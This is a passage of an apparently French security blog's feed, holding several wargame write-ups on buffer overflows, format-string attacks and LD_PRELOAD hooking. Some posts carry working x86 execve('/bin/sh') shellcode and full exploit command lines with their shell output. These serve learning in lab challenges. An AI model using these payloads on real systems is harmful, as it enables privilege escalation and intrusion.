/&gt;\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e&lt;br /&gt;Ce qui donne une fois traduite :&lt;br /&gt;"h/cath/bin"&lt;br /&gt;&lt;br /&gt;Bien sûr étant très patient et très analyste sur les bords (Joke) je me suis arrêté à cet indice qui n'en est pas un au final...&lt;br /&gt;En regardant un peu plus loin on s'aperçoit que l'arg qu'on lui a rentré, si il contient la fameuse chaîne se fait exécuter, évidemment quand j'ai vu ce code barbare je me suis dit que c'était foutu pour moi, m'enfin google était mon ami :)&lt;br /&gt;A partir de là, l'épreuve est terminée :&lt;br /&gt;&lt;br /&gt;$ ./level3 `python -c "print '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e'"`&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;OK&lt;br /&gt;sh-3.2$ whoami&lt;br /&gt;level4&lt;br /&gt;&lt;br /&gt;J'en viens de plus en plus à la conclusion que faire des challenges reviens à s'autoflagéler cérébralement !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-7300639300720726542?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/7300639300720726542/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/lovely-challenge.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/7300639300720726542'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/7300639300720726542'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/lovely-challenge.html' title='Lovely Challenge'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-1604774881899660231</id><published>2011-01-11T10:58:00.000-08:00</published><updated>2011-01-11T10:58:30.312-08:00</updated><title type='text'>SOAP, PowerBuilder et .Net</title><content type='html'>Comment voulez vous qu'ils aient la moindre crédibilité si ils se mettent à faire du VB.NET chez&lt;br /&gt;sybase ? Hein ?&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_sxVWI4EZg0o/TSyn58HjWZI/AAAAAAAAAD8/hXbAs57UEms/s1600/fortune.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_sxVWI4EZg0o/TSyn58HjWZI/AAAAAAAAAD8/hXbAs57UEms/s1600/fortune.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;On voit ça directement : utilisation de librairies dynamiques situées au niveau du GAC_32 de mon PC...&lt;br /&gt;En bref, du framework .net :/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-1604774881899660231?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/1604774881899660231/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/soap-powerbuilder-et-net.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/1604774881899660231'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/1604774881899660231'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/soap-powerbuilder-et-net.html' title='SOAP, PowerBuilder et .Net'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_sxVWI4EZg0o/TSyn58HjWZI/AAAAAAAAAD8/hXbAs57UEms/s72-c/fortune.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-5797852166975567635</id><published>2011-01-10T11:45:00.000-08:00</published><updated>2011-01-10T11:45:47.423-08:00</updated><title type='text'>Metasploit qui nous veut du mal.</title><content type='html'>Aujourd'hui en farfouillant un peu sur le net, j'ai trouvé nombre de vidéos...&lt;br /&gt;Oui, vous allez me dire, des vidéos...C'est normal :) . Mais ne m'étant jamais vraiment intéressé à&lt;br /&gt;Métasploit, ni à son framework, ni à sa manière de l'utiliser je n'ai jamais eu d'avis négatif sur l'outil en lui même.&lt;br /&gt;Mais maintenant que j'ai suivi une formation intensive de 5 minutes top chronos, je sais que l'outil peut servir à scanner, exploiter, backdoorer, hooker, pourrir automatiquement et sans grandes connaissances à peut près n'importe quelle plateforme ou application faillible. Je me disais qu'un minimum de technique était nécessaire mais...Même pas...&lt;br /&gt;Un gamin de 12 ans peut l'utiliser :/ Je reste partagé quant au pourcentage [bonne utilisation/mauvaise utilisation] de ce soft de pentest qui, il faut le dire est extrêmement puissant :( &amp;amp; :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-5797852166975567635?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/5797852166975567635/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/metasploit-qui-nous-veut-du-mal.html#comment-form' title='4 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/5797852166975567635'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/5797852166975567635'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/metasploit-qui-nous-veut-du-mal.html' title='Metasploit qui nous veut du mal.'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-5292785666137117390</id><published>2011-01-10T03:28:00.000-08:00</published><updated>2011-01-10T11:29:34.185-08:00</updated><title type='text'>Stack Rewriting via Format String</title><content type='html'>OMG ! Encore !&lt;br /&gt;Ouai...Ben là c'est juste encore pour préciser que j'adore exploiter ce genres de failles sur les box :)&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int i = 1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char buffer[64];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; snprintf(buffer, sizeof buffer, argv[1]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; buffer[sizeof (buffer) - 1] = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("Change i's value from 1 -&amp;gt; 500. ");&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(i==500){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("GOOD\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; seteuid(1007);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; system("/bin/sh");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("No way...let me give you a hint!\n");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf ("i = %d (%p)\n", i, &amp;amp;i);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;level6@0xtcebBox:whoami&lt;br /&gt;level6 &lt;br /&gt;&lt;br /&gt;level6@0xtcebBox:/wargame$ ./level6 hello&lt;br /&gt;Change i's value from 1 -&amp;gt; 500. No way...let me give you a hint!&lt;br /&gt;buffer : [hello] (5)&lt;br /&gt;i = 1 (0xbffffa5c)&lt;br /&gt;&lt;br /&gt;level6@0xtcebBox:/wargame$ ./level6 %08x&lt;br /&gt;Change i's value from 1 -&amp;gt; 500. No way...let me give you a hint!&lt;br /&gt;buffer : [0177ff8e] (8)&lt;br /&gt;i = 1 (0xbffffa5c)&lt;br /&gt;&lt;br /&gt;level6@0xtcebBox:/wargame$ ./level6 `python -c "print 'aaaa'+'.%08x'*15"`&lt;br /&gt;Change i's value from 1 -&amp;gt; 500. No way...let me give you a hint!&lt;br /&gt;buffer : [aaaa.0177ff8e.01000000.00000000.28000000.656e6f6e.&lt;span style="color: red;"&gt;61616161&lt;/span&gt;.3731] (63)&lt;br /&gt;i = 1 (0xbffffa0c)&lt;br /&gt;&lt;br /&gt;level6@0xtcebBox:/wargame$ ./level6 `python -c "print 'aaaa'+'%.496u'+'%6\x24x'"`&lt;br /&gt;Change i's value from 1 -&amp;gt; 500. No way...let me give you a hint!&lt;br /&gt;buffer : [aaaa00000000000000000000000000000000000000000000000000000000000] (63)&lt;br /&gt;i = 1 (&lt;span style="color: red;"&gt;0xbffffa4c&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;level6@0xtcebBox:/wargame$ ./level6 `python -c "print '\x4c\xfa\xff\xbf'+'%.496u'+'%6\x24hn'"`&lt;br /&gt;Change i's value from 1 -&amp;gt; 500. GOOD&lt;br /&gt;sh-3.1$ whoami&lt;br /&gt;level7&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-5292785666137117390?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/5292785666137117390/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/shellcoding.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/5292785666137117390'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/5292785666137117390'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/shellcoding.html' title='Stack Rewriting via Format String'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-6909127772603619057</id><published>2011-01-09T07:14:00.000-08:00</published><updated>2011-01-09T15:58:39.675-08:00</updated><title type='text'>RET ON EGG</title><content type='html'>Un petit article représentant une autre manière d'exploiter un Buffer Overflow :&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(argc &amp;lt; 2)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit(1);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char buff[10];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strcpy(buff, argv[1]);&lt;br /&gt;&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;level1@0xtcebBox:~$ whoami&lt;br /&gt;level1&lt;br /&gt;&lt;br /&gt;Comme on peut le voir :&amp;nbsp; le débordement du buffer pour écraser SEIP est un peu juste. La taille d'un shellcode fait en moyenne 21,22 voir plus d'octets, ce qui fait qu'on ne peut pas inclure cette fois-ci le SC dans le buffer sans tout écraser et rendre l'exploit impossible. Une autre solution s'offre en effet à nous avec une variable d'environnement.&lt;br /&gt;Il suffit que notre shellcode se trouve dans cette variable et qu'on saute dessus via son adresse dont on se sera servi pour écraser SEIP, pour pouvoir exécuter le méchant EGG.&lt;br /&gt;Démonstration :&lt;br /&gt;&lt;br /&gt;level1@0xtcebBox:~$ env -i EGG=`python -c "print '\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80'"` ./level1 `python -c "print 'a'*14+'\xdb\xff\xff\xbf'"`&lt;br /&gt;sh-3.2$ whoami&lt;br /&gt;level2&lt;br /&gt;&lt;br /&gt;Je préfère largement cette méthode en termes de précision et d'utilité. On s'embête pas à trouver une adresse de retour dans le buffer, on se sert directement de l'adresse de la variable, on est pas limité par la taille du buffer donc +1 pour cette technique de mon point de vue.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-6909127772603619057?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/6909127772603619057/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/ret-on-egg.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/6909127772603619057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/6909127772603619057'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/ret-on-egg.html' title='RET ON EGG'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-8697919385144236746</id><published>2011-01-08T06:19:00.000-08:00</published><updated>2011-01-08T06:19:15.581-08:00</updated><title type='text'>LD_PRELOAD et HOOK PRINTF</title><content type='html'>Ayant terminé tant bien que mal le challenge Behemoth sur intruded,&lt;br /&gt;je me suis lancé sur Utumno. La première épreuve était vraiment pas mal puisqu'elle n'apparait quasiment jamais dans les box qu'on nous met à disposition :) .&lt;br /&gt;Sans documentations et exemples je ne serais pas allé bien loin.&lt;br /&gt;&lt;br /&gt;Cette épreuve avait pour but j'imagine, de démontrer le lot de failles systèmes que peuvent apporter les shared libraries.&lt;br /&gt;Ça m'a aussi un peu introduit au concept de Dynamic linker&lt;br /&gt;&lt;br /&gt;J'ai eu besoin de ça :&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Dynamic_linker"&gt;Doc Dynamic_linker&lt;/a&gt;&lt;br /&gt;de ça :&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Shared_libraries#Shared_libraries"&gt;Doc Shared_libraries&lt;/a&gt;&lt;br /&gt;et finalement de ça :&lt;br /&gt;&lt;a href="http://lca2009.linux.org.au/slides/172.pdf"&gt;Fun with LD_PRELOAD&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Voila à quoi on avait droit quand on voulait se renseigner sur le binaire de l'épreuve :&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;level1@utumno:/wargame$ file ./level1&lt;br /&gt;./level1: writable, executable, regular file, no read permission&lt;/pre&gt;&lt;br /&gt;C'est pas cool...&lt;br /&gt;&lt;br /&gt;Et quand on le lançait :&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;level1@utumno:/wargame$ ./level1&lt;br /&gt;Read me!&amp;nbsp;:P&lt;/pre&gt;&lt;br /&gt;C'est vraiment pas cool...&lt;br /&gt;&lt;br /&gt;Donc après avoir lu tout ça on sait que LD_PRELOAD est une variable d'environnement qui contient la liste des librairies que le Dynamic_Linker a besoin de charger avant tout le monde.&lt;br /&gt;Le but du challenge ici était de Hooker la fonction printf via LD_PRELOAD pour Dumper les strings contenues dans le binaire.&lt;br /&gt;&lt;br /&gt;Imaginons qu'on ai un binaire de ce genre là :&lt;br /&gt;&lt;pre class="prettyprint"&gt;&lt;code&gt;&lt;span class="com"&gt;#include&lt;/span&gt;&lt;span class="pln"&gt; &lt;/span&gt;&lt;span class="str"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="kwd"&gt;int&lt;/span&gt;&lt;span class="pln"&gt; main&lt;/span&gt;&lt;span class="pun"&gt;(&lt;/span&gt;&lt;span class="kwd"&gt;void&lt;/span&gt;&lt;span class="pun"&gt;)&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="pun"&gt;{&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; printf&lt;/span&gt;&lt;span class="pun"&gt;(&lt;/span&gt;&lt;span class="str"&gt;"hello world\n"&lt;/span&gt;&lt;span class="pun"&gt;);&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span class="kwd"&gt;return&lt;/span&gt;&lt;span class="pln"&gt; &lt;/span&gt;&lt;span class="lit"&gt;0&lt;/span&gt;&lt;span class="pun"&gt;;&lt;/span&gt;&lt;span class="pln"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="pun"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;On pourrait balancer à LD_PRELOAD une librairie différente pour printf afin d'afficher autre chose que "hello world".&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span class="co2"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="co2"&gt;#include &amp;lt;stdlib.h&lt;/span&gt;&lt;/pre&gt;&lt;pre&gt;&lt;span class="kw4"&gt;int&lt;/span&gt; &lt;span class="kw3"&gt;printf&lt;/span&gt;&lt;span class="br0"&gt;(&lt;/span&gt;&lt;span class="kw4"&gt;const&lt;/span&gt; &lt;span class="kw4"&gt;char&lt;/span&gt; &lt;span class="sy0"&gt;*&lt;/span&gt;format&lt;span class="sy0"&gt;,&lt;/span&gt; ...&lt;span class="br0"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span class="br0"&gt;{&lt;/span&gt;&lt;br /&gt; fprintf&lt;span class="br0"&gt;(stdout,"méchante fonction"&lt;/span&gt;&lt;span class="br0"&gt;)&lt;/span&gt;&lt;span class="sy0"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span class="br0"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;Une fois compilé en .so :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;level1@utumno:/tmp$ gcc -shared print.c -o print.so&lt;br /&gt;level1@utumno:/tmp$ LD_PRELOAD="/tmp/print.so" ./helloWorld&lt;br /&gt;méchante fonction&lt;br /&gt;&lt;br /&gt;Ben pour l'épreuve c'était sensiblement la même chose sauf qu'il fallait afficher les chaînes contenues dans le binaire. Ce qui prend un peu plus de temps :) .&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-8697919385144236746?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/8697919385144236746/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/ldpreload-et-hook-printf.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/8697919385144236746'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/8697919385144236746'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/ldpreload-et-hook-printf.html' title='LD_PRELOAD et HOOK PRINTF'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-80694572869143996</id><published>2011-01-08T05:08:00.000-08:00</published><updated>2011-01-08T05:09:25.186-08:00</updated><title type='text'>Images Malveillantes</title><content type='html'>Oui, c'est techniquement possible, &lt;br /&gt;j'en entend régulièrement dire qu'une simple image ou une vidéo est sans danger pour le système dans laquelle celle-ci est regardée. &lt;br /&gt;A priori oui. Après tout ce n'est qu'une simple image.&lt;br /&gt;Le danger en lui même ne se trouve pas "vraiment" dans l'image mais dans le soft qui sert à l'interpréter. Et puis ça passe à peu près tout les anti-virus vu qu'il ne s'agit que d'images ou de vidéos.&lt;br /&gt;Au lancement d'un tel média, en général si il est corrompu on obtiens un freeze complet de la visionneuse qui va aller le lire. Et c'est normal. Mais dans certains cas, les structures composants l'image vont être interprétées d'une autre façon suivant le programme utilisé pour les lires. Ce qui peut mener inévitablement à l'exploit de faille type buffer overflows ou heap-based buffer overflows . Donc l'exécution d'un code malveillant type trojan-horse, key-logger, worms &amp; co ...&lt;br /&gt;Donc soyez vigilants même sur les médias que vous downloadez.&lt;br /&gt;J'en ai marre d'entendre que chopper un virus via une image ou autre est une légende urbaine :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-80694572869143996?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/80694572869143996/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/images-malveillantes.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/80694572869143996'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/80694572869143996'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/01/images-malveillantes.html' title='Images Malveillantes'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-3779731383198452624</id><published>2011-01-07T15:53:00.001-08:00</published><updated>2011-01-17T03:41:50.947-08:00</updated><title type='text'>Stack-Based Buffer Overflow</title><content type='html'>Question faille connue on ne peut pas faire mieux je pense...&lt;br /&gt;M'enfin bon comme j'ai pas grand-chose à faire en ce moment autant écrire un article dessus.&lt;br /&gt;Et comme toujours article suivis d'un exemple sur un challenge présent sur une box de challenge.&lt;br /&gt;&lt;br /&gt;Voici l'exemple (box : narnia.intruded.net) :&lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char * argv[]){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char buf[128];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(argc == 1){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("Usage: %s argument\n", argv[0]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit(1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; seteuid(1004);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strcpy(buf,argv[1]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf("%s", buf);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sh-3.1$ whoami&lt;br /&gt;level3&lt;br /&gt;&lt;br /&gt;Avant de comprendre le fonctionnement de la faille, analysons la source :&lt;br /&gt;On nous demande un argument qui est automatiquement copié dans un tableau de char de 128 octets.&lt;br /&gt;Oui seulement voila, la fonction utilisé pour copier l'arg[1] dans le buffer&amp;nbsp; ne vérifie pas du tout la grandeur&lt;br /&gt;de l'argument...Voila un buffer overflow, c'est un simple dépassement de mémoire tampon. On s'est tous tappé un jour un SEGFAULT non ?... Non ? Ah :/ .&lt;br /&gt;L'exploitation est assez simple quand on en a compris le fonctionnement.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;/------------------\  lower&lt;/pre&gt;&lt;pre&gt;|                  |  memory&lt;/pre&gt;&lt;pre&gt;|       Text     